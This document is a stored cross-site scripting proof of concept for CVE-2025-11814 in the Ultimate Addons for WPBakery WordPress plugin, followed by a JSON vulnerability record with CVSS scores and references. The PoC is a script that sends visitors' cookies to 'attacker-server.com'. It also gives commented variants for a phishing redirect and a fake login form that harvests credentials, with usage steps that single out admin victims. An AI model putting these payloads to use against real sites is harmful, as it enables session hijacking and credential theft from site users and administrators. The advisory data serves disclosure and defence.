CVE-2025-11814

<!-- Stored XSS PoC for Ultimate Addons for WPBakery Plugin (CVE-2025-11814) --> <!-- Inject the following payload into any input field handled by the plugin that lacks sanitization --> <script> // Malicious JavaScript payload - cookie stealing example var img = new Image(); img.src = 'http://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie); // Alternatively, redirect to phishing page // window.location = 'http://attacker-server.com/phishing'; // Or create a fake login form to harvest credentials // document.body.innerHTML = '<form action="http://attacker-server.com/login" method="POST"><input name="username"><input name="password" type="password"><button>Login</button></form>'; </script> <!-- Usage: 1. Identify an input field in the Ultimate Addons for WPBakery plugin that stores user input 2. Submit the payload above through the vulnerable input 3. When any user (especially admin) visits the page containing the stored payload, the malicious script will execute in their browser context 4. The attacker can then steal session cookies, credentials, or perform other malicious actions -->

{"cve": {"id": "CVE-2025-11814", "sourceIdentifier": "[email protected]", "published": "2025-10-16T05:15:36.880", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Addons for WPBakery plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to 3.21.1 (exclusive) due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/ultimate_vc_addons/vulnerability/wordpress-ultimate-addons-for-wpbakery-page-builder-plugin-3-21-1-cross-site-scripting-xss-vulnerability", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1f41101c-c54f-4e97-a0fb-79a17d5f0929?source=cve", "source": "[email protected]"}]}}